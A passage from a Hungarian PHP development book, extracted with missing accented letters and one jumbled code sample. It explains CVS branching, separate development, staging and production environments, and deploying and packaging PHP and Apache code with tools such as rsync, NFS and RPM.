A CVS tmogatja az gaztats (branching) fogalmt. Amikor egy CVS ft gaztatunk, pillanatfelvtelt ksztnk a frl az adott idpontban, amelytl kezdve minden g a tbbitl fggetlenl fejleszthet. Ez akkor hasznos, ha vltozatszmmal elltott szoftvert bocstunk ki. Amikor kiadjuk az 1.0-s vltozatot, j gat hozunk ltre a szmra, gy ha ksbb hibajavtst kell vgeznnk rajta, az adott gban vgezhetjk el, anlkl hogy ki kellene vennnk azokat a vltoztatsokat, amelyeket az 1.0-s vltozat kiadsa utn a fejlesztsi gban vgeztnk.

206

PHP fejleszts felsfokon

Az gakat nevk alapjn azonostjuk, ltrehozsuk pedig a cvs tag -b utastssal trtnik. Egy PROD nev gat pldul gy hozhatunk ltre a trban: > cvs tag -b PROD Az gak klnbznek a jelzcmkktl. Mg egy jelzcmke csak idjelzssel ltja el a tr fjljait, gaztatsnl tnylegesen j pldnyt ksztnk az adott munka troljbl. Az ghoz fjlokat adhatunk, illetve fjlokat vehetnk el onnan, mdosthatjuk, felcmkzhetjk s vglegesthetjk ket, anlkl, hogy ez hatssal lenne brmely msik gra. A minden CVS projektben jelen lev alaprtelmezett HEAD g, ami a fa trzse, nem tvolthat el. Mivel az gak gy viselkednek, mintha teljes trak lennnek, tbbnyire j munkaknyvtrat hozunk ltre szmukra. Az Advanced_PHP tr PROD gbl az albbi utastssal kszthetnk kimen vltozatot:
> cvs checkout -r PROD Advanced_PHP

Annak jelzsre, hogy ez egy adott ga a projektnek, a fels szint knyvtrat t szoktk nevezni, hogy tkrzze az g nevt:
> mv Advanced_PHP Advanced_PHP-PROD

Ha mr van ellenrztt msolatunk a projektbl, s frissteni szeretnnk azt egy adott gra, az update -r utastst is hasznlhatjuk, mint a jelzcmkk esetben: > cvs update -r Advanced_PHP Idnknt szksg lehet kt g egyestsre. Tegyk fel pldul, hogy a PROD az zemi kdot tartalmazza, mg a HEAD a fejlesztsi fa. Mindkt gban felfedeztnk egy jelents hibt, s kijavtjuk a PROD gban. A mdostst t kell vinnnk a f fba is, amit az albbi utastssal tehetnk meg: > cvs update -j PROD Ez a megadott gban vgrehajtott valamennyi vltoztatst tviszi a munkapldnyba. Amikor ilyen egyestst hajtunk vgre, a CVS megkeresi a fban a munkapldny s a megadott g cscsnak legkzelebbi kzs st, s azzal frissti a munkapldnyt. Ms frisstsekhez hasonlan, ha tkzs trtnik, a vltoztats vglegestse eltt fel kell oldanunk azt.

A fejlesztsi s zemi krnyezet fenntartsa


A CVS eddig bemutatott eljrsainak ismerete elegend ahhoz, hogy sajt webhelynket kezeljk, vagy olyan helyen dolgozzunk, ahol a teljes fejleszts zemi (les) krnyezetben zajlik. Mindazonltal ha egyetlen ft hasznlunk zemi s fejlesztsi krnyezetknt, nyilvnval, hogy gondok lpnek fel: A fejlesztk zavarjk egyms munkjt. Nem lehet egyszerre tbb nagy munkn dolgozni, hacsak nem egyszerre indtjuk el ket.

7. fejezet A fejlesztkrnyezet kezelse

207

Nincs lehetsg a vltozsok tesztelsre, aminek folytn elkerlhetetlen a hibk gyakori jelentkezse. Ezen problmk megoldshoz olyan fejlesztsi krnyezetet kell felptennk, ami lehetv teszi a fejlesztknek, hogy nllan dolgozhassanak, mdostsaikat pedig tisztn s biztonsgosan egyesthessk. Idelis megoldsknt az albbiakat javaslom: Minden egyes fejleszt szemlyes fejlesztsi pldnnyal rendelkezzen, hogy tiszta" krnyezetben dolgozhassanak. A fejlesztsi krnyezet legyen egysges, a vltoztatsok sszeolvasztsa s vglegestse azeltt trtnjen, hogy a kd a nyilvnossg el kerlne. Tartsunk fenn prbakrnyezetet, ahol a felttelezsek szerint mkdsre ksz kdot kiprblhatjuk. Az zemi krnyezet legyen nll. A 7.1 bra a fentiek egy lehetsges megvalstst brzolja. Kt CVS got tallunk benne: a PROD a mkdsre ksz kdot, a HEAD a fejlesztsi kdot tartalmazza. Kt gat alkalmazunk, de a folyamat ngy szinten zajlik:

7.1 bra

zemi s prbakrnyezet kt CVS ggal.

208

PHP fejleszts felsfokon

Az j kdot r fejlesztk a HEAD g sajt kimen vltozatn dolgoznak. A vltozsok addig nem kerlnek be a HEAD gba, amg elg stabill nem vlnak ahhoz, hogy tnkre ne tegyk az gat. Azzal, hogy minden fejleszt sajt webkiszolglt kap (amelynek legjobb helye a fejleszt munkallomsa), elsegtjk, hogy a lnyegi vltozsokat anlkl tesztelhessk, hogy msok munkjt veszlyeztetnk. Egy olyan kdalap esetben, ahol minden nagymrtkben nll, ez a kockzat valsznleg kicsi, de nagyobb krnyezetekben, ahol a felhasznli knyvtrak kztt fggsgek hlja alakul ki, az a lehetsg, hogy msoktl fggetlenl vltoztathatunk a kdon, igen hasznos. Ha egy fejleszt elgedett az ltala vgrehajtott vltoztatsokkal, vglegesti azokat a HEAD gban, s kiprblja a dev. example . com-on, ami mindig a HEAD-vltozatot futtatja. A teljes projekteket a fejlesztsi krnyezetben prbljuk ki s vglegestjk. Itt trtnik az ssze nem fr kdok kijavtsa, s a program mkdsre kssz ttele. Ha a program kszen ll arra, hogy zemi krnyezetbe bocsssuk, tvisszk a PROD gra, amit a stage. example. com webkiszolgl szolgl ki. A program ekkor elmletileg kszen ll a kibocstsra. A valsgban azonban gyakran finomhangolsra s kisebb gondok megoldsra van mg szksg. Ezrt kell a prbakrnyezet, ami a lehet legpontosabb msa az zemi krnyezetnek. A PHP-vltozatnak, a webkiszolglnak, az opercis rendszer belltsainak ugyanazoknak kell lennik, mint az l" rendszeren. A prbakrnyezet biztostja, hogy ne rhessen minket meglepets. A kiprblt tartalmat ezutn mg egyszer t kell tekinteni, ellenrizni, hogy helyesen mkdik-e, majd tvinni az zemi gpekre. A tesztels mrtke vllalatonknt klnbz lehet. Persze az lenne az idelis, ha minden program teljes minsgbiztostsi vizsglaton (QA, quality assurance) esne t, ahol sszehasonltjk valamennyi hasznlati esettel, amelyek lerjk, hogyan kell a rendszernek mkdnie, de a legtbb helyen nincs QA csapat, st, hasznlati eseteket sem lltanak ssze. Mindenesetre ltalnos szably, hogy minl tbbszr ellenrizzk a szoftvert, annl jobb. n mindig prblom legalbb egy, a fejlesztsben rszt nem vett kvlllval tnzetni az eredmnyt, mieltt kibocstanm a programot. Ez az egyik legjobb mdja annak, hogy olyan hibkat talljunk, amelyek felett azrt siklottunk el, mert mi tudjuk, hogyan nem szabad" hasznlni az adott alkalmazst. ltalban is rvnyes, hogy sajt munknknak nem vagyunk j kritikusai, nem csak a programozst illeten: ezrt van pldul a knyveknek szerkesztje. Miutn a stage. example. com-on a tesztels sikeres volt, a kdot kibocstjuk a www. example. com-ra. Az zemi kdot soha nem mdostjuk kzvetlenl; a srgs javtsokat a prbakiszolgln vgezzk el, visszavisszk a HEAD gba, majd a teljes kiprblt tartalmat bocstjuk az zemi krnyezetbe. Ha zem kzben hajtannk vgre kzvetlen vltoztatsokat, a kd rendkvl nehezen kezelhetv vlna, s arra btortana, hogy a vltozatkezel rendszeren kvl vgezznk mdostsokat.

7. fejezet A fejlesztkrnyezet kezelse

209

Tbb adatbzis fenntartsa A tbbszint fejlesztsi krnyezet fenntartsnak egyik kellemetlen velejrja, hogy valsznleg kln adatbzisokat szeretnnk a fejlesztsi s az zemi fa szmra. Ha egyetlen adatbzist hasznlunk mindkettre, nehz brmilyen kdot tesztelni, ami tblamdostst ignyel, s nagy az eslye, hogy valamelyik fejleszt tnkreteszi az zemi krnyezetet. A fejlesztsi krnyezet fenntartsnak ppen az a clja, hogy legyen egy biztonsgos hely, ahol ksrletezhetnk. A hozzfrs szablyozsnak legegyszerbb mdja, ha egyes adatbzisok elrsre burkol osztlyokat ksztnk, s kln halmazt hasznlunk az zemi, illetve a fejlesztsi krnyezetben. A knyvben eddig hasznlt adatbzis API pldul a kvetkez kt osztlyt tartalmazta: class DB_Mysql_Test extends DB_Mysql { /* s class DB_Mysql_Prod extends DB_Mysql { /* ... */} ... */}

A hasznlni kvnt osztly meghatrozsnak egyik mdja, hogy egyszeren mereven bekdoljuk egy fjlba, s e fjlbl klnbz vltozatokat tartunk fenn a fejlesztshez s az zemi krnyezethez. Viszont ha kt pldnyunk van belle, nagy a hibzs eslye, klnsen ha az gakat egyestjk. Sokkal jobb megolds, ha maga az adatbzis-knyvtr rzkeli automatikusan, hogy prba- vagy zemi kiszolgln fut-e: switch($_SERVER['HTTP_H0ST']) case "www.example.com": class DB_Wrapper extends break; case "stage.example.com": class DB_Wrapper extends break; case "dev.example.com": class DB_Wrapper extends default: class DB_Wrapper extends
}

{ DB_Mysql_Prod {}

DB_Mysql_Prod {}

DB_Mysql_Test {} DB_Mysql_Localhost {}

gy csak hasznlatba kell vennnk a DB_Wrapper-t, ha nv szerint megadnnk egy adatbzist, s maga a knyvtr vlasztja majd ki a megfelel megvalstst. Ennek logikjt egy gyrtfggvnybe is pthetjk, amely ltrehozza az adatbzis-elrsi objektumokat.

210

PHP fejleszts felsfokon

Ebben a rendszerben szrevehetnk egy hinyossgot: mivel az zemi krnyezet kdja a PROD g egy adott idpontban kszlt pillanatfelvtele, nehz visszalltani egy korbbi helyes vltozatra anlkl, hogy ismernnk vglegestsnek s kibocstsnak pontos idejt. Erre a problmra kt megolds ltezik: Minden zemi kibocstshoz kln gat hozunk ltre. Az zemi kibocstsok kezelshez jelzcmkket hasznlunk. Az els megolds szokvnyos a dobozos programoknl, ahol a kibocstsok kztt ltalban hossz id telik el, s a program klnbz vltozataira ms-ms javtsokat kell alkalmazni. Ilyen esetben, ha kszen llunk a prbakrnyezetbl kibocstani a kdot, az adott idpont pillanatfelvtele alapjn j gat hozunk ltre (pldul VERSION_1_0_0 nven). Ez a vltozat aztn a PROD nev f prbagtl fggetlenl fejldhet, megengedve a hibajavtsoknak a f fban levtl eltr megvalstst. Vlemnyem szerint ez a megolds a webes alkalmazsok esetben tbb okbl sem mkdik: Akr tetszik, akr nem, a webes alkalmazsok srn vltoznak, a CVS pedig nem jl tri, ha gak szzait kell tmogatnia. Mivel a webes alkalmazsok kdjt nem terjesztjk, kevsb fontos, hogy kpesek legynk a klnbz vltozatokra ms-ms mdostst alkalmazni. Mivel minden kapcsold kd a mi keznkben fut ssze, egy knyvtrnak ritkn van hasznlatban egyszerre egynl tbb vltozata. A msik megolds, hogy a kibocstsokat jelzcmkkkel ltjuk el. Ahogy a fejezetben korbban mr trgyaltuk, ezek a cmkk csupn arra szolglnak, hogy a CVS-ben fjlok csoportjt lthassuk el egyetlen kzs jelzssel. A jelzcmke a megadott fjlok adott idpontban legfrissebb vltozathoz egy nevet trst, ami egy gak nlkli fban tkletes mdja annak, hogy a trrl pillanatfelvtelt ksztsnk. A jelzcmkk a CVS-ben nem jrnak klnsebb kltsggel, gy nincs klnsebb akadlya annak, hogy tbb szzat hasznljunk bellk. Ha rendszeres idkznknt kell webhelyeket frisstenem, ltalban a cmke ltrehozsnak dtumt adom meg nvknt, gy olyan cmkket kapok, mint a PROD_2 0 04_01_23_01, ami a 2004. janur 23-n ltrehozott els cmkt jelli. Beszdes neveket szintn hasznlhatunk, pldul egy bizonyos esemnyre, mondjuk egy j termk kibocstsra utalt. A jelzcmkk jl hasznlhatk, ha hetente egyszer vagy ktszer bocstunk zemi krnyezetbe egy programot. Ha ennl rendszeresen gyakoribb kdfrissts szksges, rdemes fontolra vennnk a kvetkez lehetsgeket: A csak a tartalomban vgrehajtott vltoztatsokat nll tartalomkezel rendszerbe (CMS, content management system) visszk t, hogy elvlasszuk a kdtl. A tartalmat gyakran kell frissteni, mg a mgtte lev kd ltalban jval stabilabb.

7. fejezet A fejlesztkrnyezet kezelse

211

A fejlesztsi krnyezetet sszehangoljuk. Ha tl gyakran bocstunk zemi krnyezetbe egy kdot, nehezebb hatkonyan ellenrizni a mdostsok minsgt, ami nveli az zemi hibk gyakorisgt, ami viszont a hibajavtsok gyakoribb kibocstst ignyli, s gy tovbb a vgtelensgig. Ez elssorban fegyelem krdse: kevs olyan krnyezet van, ahol ne lehetne a kdkibocstst napi egyre, st, heti egyre korltozni.

Megjegyzs

Az egyik szably, amelynek helyessgrl igyekszem minden gyfelet meggyzni, hogy nem szabad dlutn 3 utn kdot kibocstani, pnteken pedig egyltaln nem. Hibk mindig felbukkannak a kdban, s ha a munkanap vgn vagy kzvetlenl htvge eltt bocstunk ki j kdot, az olyan, mintha felszltannk a kalzokat, hogy most keressk a gyenge pontokat, hiszen a fejlesztk mr hazamentek. Ha csak napkzben helyeznk zembe kdot, egy vratlan hibnl kznl lesznek a friss fejlesztk, akik nem az rt figyelik, hogy vajon hazarnek-e vacsorra.

Csomagkezels
Most, hogy ismerjk a vltozatkezel rendszerek szerept a fejlesztsben, rtrhetnk az zemi kd terjesztsre. E knyvnek nem tmja a kereskedelmi terjeszts, gy amikor a kd terjesztsrl beszlnk, azt rtjk alatta, hogy a ksz programot a fejlesztsi krnyezetbl mkd kiszolglkra helyezzk, amelyek a tnyleges szolgltatst nyjtjk. A csomagols lnyeges lps annak biztostsra, hogy amit a mkdsi krnyezetbe helyeznk, valban az, amit szerettnk volna. Sokan egyszeren egyenknt kiteszik a mdostott fjlokat a webkiszolglkra - ami a lehet legrosszabb megolds. Ez csak kett a lehetsges problmk kzl: Knnyen szem ell veszthetjk, mely fjlokat kell a termk zembe helyezshez tmsolnunk. Ha csak hinyzik egy include, azt mg knny szrevenni, de egy nem frisstett include mr komoly fejfjst okozhat. Tbbkiszolgls krnyezetben mg sszetettebb problmk jelentkezhetnek. Ha lell egy kiszolgl, hogyan biztosthatjuk, hogy minden vltozsrl rtesljn, amikor helyrelltjuk? Mg ha minden gp szz szzalkosan zemel is, az emberi tnyez folytn rendkvl knnyen alakulhatnak ki kvetkezetlensgek a gpek kztt. A csomagols nem csak a PHP kdok esetben fontos, hanem a hasznlt kisegt programok vltozatainl is. Egy alkalommal egy krlbell 100 gpbl ll PHP kiszolglfrtt

212

PHP fejleszts felsfokon

zemeltettem, amelyen szmos alkalmazs futott. A PHP 4.0.2-es s 4.0.3-as vltozata kztt apr mdostst hajtottak vgre a pack () bels mkdsn. Ennek kvetkeztben nhny alapvet hitelestsi eljrs hibsan mkdtt a webhelyen, bosszant lellst eredmnyezve. A hibk elkerlhetetlenek, de egy ilyen, teljes webhelyt megbnt hibt mg zembe helyezs eltt szlelni kell s ki kell javtani. A hiba felfedezst az albbi tnyezk neheztettk: Senki nem olvasta el a 4.0.3-as vltozat vltozsnapljt, gy magra a PHP-re nem is gyanakodtunk. A frtben tbbfle PHP-vltozat volt hasznlatban. Egyes kiszolglk a 4.0.l-es, msok a 4.0.2-es vagy 4.0.3-as vltozatot futtattk. Nem volt kzpontostott naplzs, gy a vletlenszernek tn hibkat rendkvl nehz volt sszeprostani egy adott gppel. Sok ms problmhoz hasonlan ezek a tnyezk persze csak tnetei voltak a rendszer nagyobb hibinak. Az igazi gondot a kvetkezk jelentettk: Nem biztostotta rendszer, hogy minden zemi gpen ugyanaz az Apache s PHP, illetve ugyanazok a tmogat knyvtrak legyenek. Ahogy egy kiszolgl clja vltozott, vagy a klnbz rendszergazdk programokat teleptettek rjuk, minden gpnek nll egynisge alakult ki - mrpedig egy zemi gpnek ne legyen egynisge. Br a fejlesztsi s zemi kdot kln fban troltuk, nem volt prbakrnyezetnk, ahol meggyzdhettnk volna rla, hogy a futtatni kvnt kd tnyleg mkdik az zemi krnyezetben. Persze ha az zemi gpek azonos belltst sem tudjuk biztostani, a prbakrnyezet hinya elhanyagolhat. Mivel nem kvettk az egyes rendszereken a PHP-frisstseket, nem is tudtuk ilyenhez kapcsolni a kd mdostsa utn jelentkez hibkat. rkat vesztegettnk el arra, hogy megkeressk, a kd melyik mdostsa vltotta ki a hibt. Ha naplban (lehetleg ugyanabban a vltozatkezel rendszerben, ahol a forrskd is tallhat) rgztettk volna azt a tnyt, hogy egyes gpeken ppen az elz napon frisstettk jabb vltozatra a PHP-t, a hibakeress sokkal gyorsabb eredmnyt hozott volna.

A pack() problma megoldsa

A pack () fggvnnyel kapcsolatos problmt is teljesen rosszul kezeltk. Ahelyett, hogy kijavtottuk volna a kdunkat, hogy a fggvny minden vltozatval biztonsgosan hasznlhat legyen, a pack () bels mkdsbeli mdosulst vontuk vissza magban a PHP forrskdban. Ez akkor j tletnek tnt, hiszen nem kellett klnbz esetekhez igaztani a kdunkat, s a visszirny megfelelsget is megriztk.

7. fejezet A fejlesztkmyezet kezelse

213

Vgl azonban kiderlt, nem is hozhattunk volna rosszabb dntst. A PHP forrskd kijavtsval" azt rtk el, hogy minden alkalommal, amikor frisstettk a PHP-t, jra el kellett vgeznnk a mdostst, s ha elfelejtettk a javtfoltot, a hitelestsi hibk rejtlyes mdon jra felbukkantak. Hacsak nincs egy kln csapatunk, akik a hasznlt infrastruktra karbantartsval foglalkoznak, kerljk a PHP bels mkdst mdost vltoztatsokat az zemel webhelyen.

A kd csomagolsa s kibocstsa A kd kibocstsa a prbakrnyezetbl az zemi krnyezetbe nem nehz. A legnehezebb rsz a kiadsok vltozatszmmal val elltsa, amit - mint az elz rszbl megtudhattuk - CVS cmkkkel s gakkal tehetnk meg. Ezenkvl nem marad ms, mint egy hatkony eszkz megtallsa az llomnyok fizikai thelyezsre a prbakrnyezetbl az zemi gpekre. A PHP fjlok thelyezsvel kapcsolatban van egy aprcska gond. A PHP minden fjlt feldolgoz, amit minden krelem esetn vgre kell hajtania. Ez rossz hatssal van a teljestmnyre (amivel rszletesebben a 9- fejezetben foglalkozunk), s nem teszi tl biztonsgoss a fjlok mdostst egy fut PHP pldnyban. A problma egyszer. Tegyk fel pldul, hogy van egy index. php nev fjlunk, ami egy knyvtrat emel be:
# index.php <?php require_once "hello.inc"; hello () ; ?>

# hello.inc <?php function hello() { print "Hello World\n";


} ?>

Ezutn mindkt llomnyt gy mdostjuk:


# index.php <?php require_once "hello.inc"; hello("George"); ?>

214

PHP fejleszts felsfokon

# hello.inc <?php function hello($name) { print "Hello $name\n";


} ?>

Ha valaki a tartalom mdostsa kzben kri az index. php-t, annak feldolgozsa a vltozs vglegestse eltt, a hello. inc llomny viszont utna trtnik, ezrt hibt kapunk, mert a msodperc trtrszig a prototpusok nem egyeznek. Az, amikor a tartalom azonnal frissl, mg a legjobb eset. Ha maga a mdosts is tbb msodpercet vagy percet vesz ignybe, a kvetkezetlensg egsz id alatt fennllhat. A legjobb megolds erre a problmra a kvetkez: 1. A mdostst kibocst mdszer a lehet leggyorsabb legyen. 2. A fjlok tnyleges mdostsa idejre lltsuk le a webkiszolgl programot. A msodik lps elg drasztikusnak tnik, de szksges, ha az oldalon megjelen hiba nem elfogadhat. Ha ez a helyzet, valsznleg rdemes tartalk gpfrtt zemeltetni, s a lellst nem engedlyez sszehangolst alkalmazni, amirl a 15. fejezet vgn ejtnk szt.

Megjegyzs

A 9- fejezetben a fordti gyorstrakat is trgyaljuk, amelyek megakadlyozzk a PHP fjlok jbli feldolgozst. Minden ilyen tr beptett kpessgekkel rendelkezik annak megllaptsra, hogy a fjlok megvltoztak-e, s szksg van-e j feldolgozsra. Ez egyben azt is jelenti, hogy az include emltett kvetkezetessgi problmja ezeket a trakat is rinti.

A kd prbakrnyezetbl zemi krnyezetbe helyezsre tbb megolds is knlkozik: tar s ftp/scp PEAR csomagformtum cvs update rsync NFS

7. fejezet A fejlesztkrnyezet kezelse

215

A tar hasznlata szokvnyos vlaszts, s egyszer is. A tar-ral egyszeren ltrehozunk egy archvumot a kdbl, a fjlt a clkiszolglra msoljuk, majd kicsomagoljuk. A tar archvumok segtsgvel tvoli terjesztst vgezhetnk (pldul ha kiadunk vagy eladunk egy alkalmazst), mindazonltal a tar hasznlata csomagol eszkzknt webes krnyezetben kt problmt vet fel: A tar helyben mdostja a fjlokat, ezrt a lemezblokkoknl nagyobb fjlok olvassakor hibkat tapasztalhatunk. Nem kpes rszleges frisstsre, gy minden kibocstskor a teljes kdft fellrjuk. rdekes vlaszts lehet a tar-ral szemben a PEAR csomagformtum hasznlata alkalmazsok terjesztsre. Ez sem oldja meg az emltett gondokat, de lehetv teszi, hogy a felhasznlk a PEAR telept segtsgvel teleptsk s kezeljk a csomagot. A PEAR csomagformtum legfbb elnye, hogy megknnyti a teleptst (amint az a knyv eddigi PEAR pldiban is lthattuk). A PEAR telept hasznlatval kapcsolatban a http: / /pear.php. net cmen tjkozdhatunk. Csbt megolds a kd webkiszolglkra teleptsre, ha egy CVS segtsgvel ksztett kimen pldnyt trolunk az zemi kiszolglkon, s a cvs update utastssal frisstjk azt. Ez megoldja a tar-nl emltett kt gondot: csak az utols vltozat ta vgrehajtott mdostsokat viszi t, s elkerli a fjlok helyben frisstsnek problmjt, ideiglenes fjlok s atomi thelyezsi mveletek hasznlatval. Ha az zemi webkiszolglk kzvetlen frisstsre a CVS-t hasznljuk, azzal csak az a gond, hogy a CVS metaadatoknak jelen kell lennik a clrendszeren, gy webkiszolgli hozzfrs-szablyozssal kell korltoznunk ezen fjlok elrst. Jobb megolds, ha az rsync-et hasznljuk. Az rsync-et kifejezetten knyvtrfk klnbsgeinek sszehangolsra terveztk, csak az utols vltozat ta vgrehajtott mdostsokat viszi t, s ideiglenes fjlokkal garantlja az atomi fjlcsert. Emellett hatkonyan tmogatja a korltozst is, gy fjlosztlyokat vehetnk fel az sszehangoland adatok kz, vagy fjlokat tvolthatunk el onnan. Ez azt jelenti, hogy a CVS metaadatfjlokat mg akkor is kihagyhatjuk, ha az adatok forrsfja egy CVS munkaknyvtr. Az llomnyok tbb kiszolglra val tvitelnek msik npszer mdja, amikor NFS-en keresztl terjesztjk azokat. Az NFS-sel knyelmesen biztosthat, hogy minden kiszolgl azonnal msolatot kapjon a frisstett llomnyokbl. Alacsony vagy mrskelt forgalom esetn ez a mdszer kitnen mkdik, de nagyobb terhelsnl az NFS-ben jelen lev ksleltets gondot okozhat. Ahogy korbban mr emltettk, az a gond, hogy a PHP minden futtatand fjlt minden vgrehajtskor feldolgoz, gy a forrsfjlok olvassa jelents mennyisg lemezolvassi s -rsi mvelettel jrhat. Amikor a fjlokat NFS-en keresztl adjuk ki, a szksges id s a forgalom tovbb n. A problma minimlisra cskkenthet, ha fordti gyorstrat hasznlunk.

216

PHP fejleszts felsfokon

Egy ideje azt a mdszert alkalmazom az NFS kiszolglk terhelsnek cskkentsre, hogy vegytem a fent emltett eljrsokat. Minden kiszolglmon NFS-befzs a kd, de ezt a pldnyt nem kzvetlenl rik el. Ehelyett az NFS-sel befztt fjlokat az rsync-kel egy helyi llomnyrendszerre (lehetleg egy memria alap llomnyrendszerre, amilyen pldul a Linux tmpf s vagy ramf s) msoljk. Van egy bvs szemaforfjl, ami csak akkor frissl, ha tartalmat kell sszehangolni, az rsync-ket futtat program pedig e fjl vltoz idblyegbl tudja, hogy ssze kell hangolnia a knyvtrfkat. gy az rsync-nek nem kell folyamatosan futnia, ami leterheln az NFS kiszolglt. Binris llomnyok csomagolsa Ha tbbkiszolgls teleptst futtatunk, az alkalmazs futtatshoz szksges valamennyi programot is csomagolnunk kell. A PHP alkalmazskezels ezen rszt gyakran elfelejtik, klnsen az olyan krnyezetekben, amelyek eredetileg egyetlen gpre pltek. A tbbfle gpbellts engedlyezse ltszlag nem okoz gondot. Az alkalmazsok legtbbszr hiba nlkl futnak, de a csak ritkn jelentkez hibk ijesztek. Senki sem sejti, hogy a webhely rejtlyes hibit egy msik rendszermagvltozat okozza, vagy egy Apache modul, amit az egyik rendszeren megosztott objektumknt, a msikon viszont statikusan beszerkesztve fordtottak le. Amikor a binris rendszerllomnyokat csomagolom, majdnem mindig a futtatott opercis rendszer natv csomagformtumt hasznlom. Hasznlhatunk tar archvumokat vagy egy mesterfelvtelt a kiszolglrl, amit az rsync-kel tvihetnk az llomsokra, de egyik mdszer sem ptolhatja a Red Hat rpm vagy a FreeBSD pkg formtum knny kezelhetsgt. Amikor ebben a rszben az RPM kifejezst hasznlom, egyszeren csomagolt szoftvert rtek alatta, teht ki-ki helyettestse be gondolatban az ltala elnyben rszestett formtumot. Egyik itt tett megllapts sem kizrlagosan magra az RPM formtumra rvnyes. Azt javaslom, ne hasznljunk tmbszer csomagokat. Ksztsnk kln csomagokat a PHP, az Apache s minden ms lnyegesebb alkalmazs szmra, amit hasznlunk. A tapasztalat azt mutatja, hogy ez nagyobb rugalmassgot ad, amikor j kiszolglfrtt lltunk ssze. Az igazi elny, ami a rendszer csomagol rendszernek hasznlatbl ered, az, hogy knnyen biztosthat az egyes gpeken fut programok azonossga. Korbban n is hasznltam tar archvumokat binrisok terjesztsre, s rendben mkdtek. A gond csak az volt, hogy knny volt elfelejteni, melyik tar csomagot is teleptettem. Ennl is rosszabb volt a helyzet, ha minden gpen mindent forrsbl teleptettnk. Hiba igyekeztnk mindent sszehangolni, a gpek kztt apr klnbsgek alakultak ki, ami egy nagymret krnyezetben elfogadhatatlan.

7. fejezet A fejlesztkmyezet kezelse

217

Az Apache csomagolsa
Az ltalam hasznlt Apache-vltozatok binrisai ltalban minden gpen szabvnyosak. Szeretem, ha az Apache modulok (a mod_php-t is belertve) megosztott objektumok, mert az ezltal elrhet plug and play" szolgltats igen knyelmes. Emellett gy vlem, azok a teljestmnnyel kapcsolatos agglyok, amelyeket az Apache modulok megosztott objektumknt val hasznlata kapcsn emlegetnek, tlzottak. les kdnl mg soha nem sikerlt semmilyen lnyeges teljestmnycskkenst kimutatnom. Mivel egyfajta Apache-hacker" vagyok, gyakran teszek a csomagba nhny sajt modult, amelyek eredetileg nem kpezik az Apache rszt. Ilyen pldul a mod_backhand, a mod_log_spread, illetve ms modulok egyni vltozatai. Kt webkiszolgli RPM hasznlatt ajnlom. Az egyik magt a mod_so-val felptett webkiszolglt tartalmazza (a bellt fjl kivtelvel), illetve a megosztott objektumknt hasznlt szabvnyos modulokat, a msik az Apache magjval nem terjesztett egyni modulokat. A kett elvlasztsval egyszeren frissthetjk az Apache-teleptst, anlkl, hogy meg kellene keresnnk s jra kellene ptennk minden nem szabvnyos modult. Mindezt az teszi lehetv, hogy az Apache Group kivl munkt vgez a vltozatok kztti binris megfelelsg biztostsra. Az Apache frisstsekor ltalban nincs szksg a dinamikusan betlthet modulok jraptsre. Minthogy az Apache ilyen felptse modulris, a belltfjl ltfontossg ahhoz, hogy a program elvgezhesse a kvnt feladatokat. Az Apache kiszolgl ltalnos, az egyes szolgltatsok viszont egyediek, ezrt a belltsokat clszer kln csomagolni a binrisoktl. Az Apache lnyegi rsze az alkalmazsaimnak, ezrt httpd. conf llomnyaimat ugyanabban a CVS trban trolom, mint az alkalmazsok kdjt, s innen msolom ket a helykre. A helyes Apache-bellts egyik alapszablya, hogy ltalnosan fogalmazzunk a belltsnl. Gyakran megfeledkeznek rla, hogy az Apache belltfjlban helyileg feloldhat gpneveket is hasznlhatunk IP literlok helyett. Tegyk fel, hogy minden webkiszolglnak meg kell adnunk a kvetkez sort, amelyben az N minden kiszolgln klnbz: Listen 1 0 . 0 . 0 . N : 8 0 0 0 Ahelyett, hogy magunk rnnk t sajt kezleg minden kiszolgl httpd. conf llomnyt, hasznlhatunk egy lland lnevet az /etc/hosts fjlban az ilyen cmekhez. A kvetkez sorral pldul minden gpen bellthatunk egy externalether lnevet: 10.0.0.1 externalether A httpd. conf Listen sorbl ezek utn ez lesz:
Listen externalether:8000

218

PHP fejleszts felsfokon

Mivel a gpek IP cmnek kevsb gyakran szabad vltoznia, mint a webkiszolgl belltsainak, az lnevek hasznlatval az egsz kiszolglfrtben biztosthatjuk a httpd. conf llomny azonossgt. Ne csatoljuk azokat a modulokat, amelyekre nincs szksgnk. Ne feledjk, hogy a belltfjlt egy adott szolgltatshoz igaztjuk: ha annak nem kell a mod_rewrite, ne tltsk be.

A PHP csomagolsa
A mod_php s a tle fgg knyvtrak kezelsre vonatkoz szablyok hasonlak az Apache szablyaihoz. Ksztsnk egyetlen mesterpldnyt, ami azokat a szolgltatsokat s teleptsi kvetelmnyeket tkrzi, amelyekre minden mkdtetett szmtgpnek szksge van. Ezutn csatoljunk hozz kiegszt csomagokat, amelyek a nem szabvnyos szolgltatsokat tartalmazzk. Ne feledjk, hogy a PHP bvtmnyeket dinamikusan is betlthetjk, ha megosztott objektumknt ptjk fel azokat, s a kvetkez sorral tltjk be a php. ini fjlban: extension = my_extension.so A PHP egyik rdekes (de gyakran elfeledett) belltsi lehetsge a conf ig-dir tmogatsa. Tegyk fel, hogy a PHP-t a conf igure --with-config-file-scan-dir kapcsoljval teleptjk: ./configure [ options ] --with-config-file-scan~dir=/path/to/configdir A fenti bellts esetn a PHP indtskor (a f php .ini fjl feldolgozsa utn) vgigpsztzza a megadott knyvtrat, s automatikusan (bcsorrendben) betlt minden fjlt, amelynek kiterjesztse . ini. Ez a gyakorlatban azt jelenti, hogy ha egy bvtmnyhez szabvnyos belltsok tartoznak, belltfjlt rhatunk kifejezetten e bvtmny szmra, s maghoz a bvtmnyhez csatolhatjuk, gy a belltsok nem szrdnak szt.

Tbb ini rtk

Egy kulcs tbbszr is ismtldhet a php. ini llomnyokban, de mindig az utols kulcs-rtk pr hasznlatra kerl sor.

7. fejezet A fejlesztkrnyezet kezelse

219

Tovbbi olvasmnyok
